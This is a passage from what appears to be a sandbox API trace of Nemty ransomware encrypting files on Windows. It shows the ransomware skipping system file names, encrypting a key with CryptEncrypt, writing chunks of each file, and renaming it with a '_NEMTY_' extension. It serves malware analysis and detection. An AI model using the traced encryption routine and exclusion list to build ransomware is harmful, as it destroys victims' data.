ftLastWriteTime.dwLowDateTime=0x3b9c6fdd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_left_hover.png", cAlternateFileName="")) returned 1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2=".") returned 1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="..") returned 1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="...") returned 1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="windows") returned -1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="$RECYCLE.BIN") returned 1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="rsa") returned 1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="NTDETECT.COM") returned 1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="ntldr") returned 1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="MSDOS.SYS") returned 1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="IO.SYS") returned 1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="boot.ini") returned 1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="boot.ini") returned 1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="AUTOEXEC.BAT") returned 1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="ntuser.dat") returned 1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="desktop.ini") returned 1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="CONFIG.SYS") returned 1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="RECYCLER") returned 1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="BOOTSECT.BAK") returned 1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="bootmgr") returned 1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="programdata") returned 1 [0140.661] lstrcmpiW (lpString1="settings_left_hover.png", lpString2="appdata") returned 1 [0140.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0140.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_hover.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0140.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_hover.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_hover.png", lpUsedDefaultChar=0x0) returned 23 [0140.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0140.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_hover.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0140.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_hover.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_hover.png", lpUsedDefaultChar=0x0) returned 23 [0140.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0140.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0140.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0140.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_hover.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0140.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_hover.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_hover.png", lpUsedDefaultChar=0x0) returned 23 [0140.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0140.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0140.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_hover.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0140.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0140.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_hover.png", cchWideChar=23, lpMultiByteStr=0x4f9ed08, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_hover.png", lpUsedDefaultChar=0x0) returned 23 [0140.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0140.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0140.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0140.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0140.662] Sleep (dwMilliseconds=0x5) [0140.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x77d1310, dwHighDateTime=0x1d561e8)) [0140.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x77d1310, dwHighDateTime=0x1d561e8)) [0140.663] GetLastError () returned 0x5 [0140.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.663] GetLastError () returned 0x5 [0140.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0140.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0140.663] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0140.663] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0140.663] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0140.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0140.664] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="vaNGS0/JlNyQFSQO2bTHc3b6RZL2zNdjJp1GVIj8oOzfu1RhzOOhdfE+hZVOcFtN\r\ncsmYhYBfgI+Cu3Is5ZSC55Tee3t9uD5nl1eXB5Rfs6z0VXaEdbgnjFM3b10Q19f9\r\nKqzQPoVNzQKXg2yFxH2fsWHU5WPniOASToFzNVsQZmgJ8j748IkC21kArq7Lc7kv\r\n/ZXzOvzObLMBsBGuzaTEqJb5qWVbSkVFum1XnCz4h9s5RJrp4OZvHA9Uw9tWGjxx\r\nJbhtkuN0WavRk3Kt5oGomCgNCWBROBGrdPIljrCL/Gy3q9MzbDmgFEIaCJ0TZR3A\r\nO1UmCDONe3M+b7uKe9jKWg==\r\n", pcchString=0x653e91c) returned 1 [0140.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0140.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0140.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0140.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0140.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0140.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0140.664] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_hover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_hover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0140.664] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0140.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0140.664] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.664] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.673] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.673] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.683] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.683] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.692] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.692] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.701] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.701] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.710] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.710] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.720] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.720] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.720] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.720] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.729] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.729] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.738] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.738] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.747] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.748] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.763] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.763] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.769] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.769] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.769] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.769] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0140.769] CloseHandle (hObject=0xffffffff) returned 0 [0140.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0140.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0140.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0140.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0140.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0140.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0140.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0140.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0140.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0140.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0140.769] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_hover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_hover.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_hover.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_hover.png._nemty_kgobjgd_")) returned 0 [0140.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0140.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0140.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0140.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0140.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0140.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0140.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0140.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0140.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0140.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.769] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84cfb89f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84cfb89f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ba393f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_left_pressed.png", cAlternateFileName="")) returned 1 [0140.769] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2=".") returned 1 [0140.770] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="..") returned 1 [0140.770] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="...") returned 1 [0140.770] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="windows") returned -1 [0140.770] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="$RECYCLE.BIN") returned 1 [0140.770] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="rsa") returned 1 [0140.770] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="NTDETECT.COM") returned 1 [0140.770] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="ntldr") returned 1 [0140.770] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="MSDOS.SYS") returned 1 [0140.770] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="IO.SYS") returned 1 [0140.770] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="boot.ini") returned 1 [0140.770] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="boot.ini") returned 1 [0140.770] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="AUTOEXEC.BAT") returned 1 [0140.770] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="ntuser.dat") returned 1 [0140.770] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="desktop.ini") returned 1 [0140.770] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="CONFIG.SYS") returned 1 [0140.770] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="RECYCLER") returned 1 [0140.770] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="BOOTSECT.BAK") returned 1 [0140.770] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="bootmgr") returned 1 [0140.770] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="programdata") returned 1 [0140.770] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="appdata") returned 1 [0140.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_pressed.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0140.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 